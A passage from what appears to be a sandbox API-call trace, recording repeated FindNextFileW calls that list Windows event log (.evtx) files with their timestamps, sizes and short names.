nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0088.878] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0088.879] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0088.879] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0088.880] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0088.881] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0088.881] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0088.881] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0088.881] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0089.087] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0089.088] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0089.088] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) 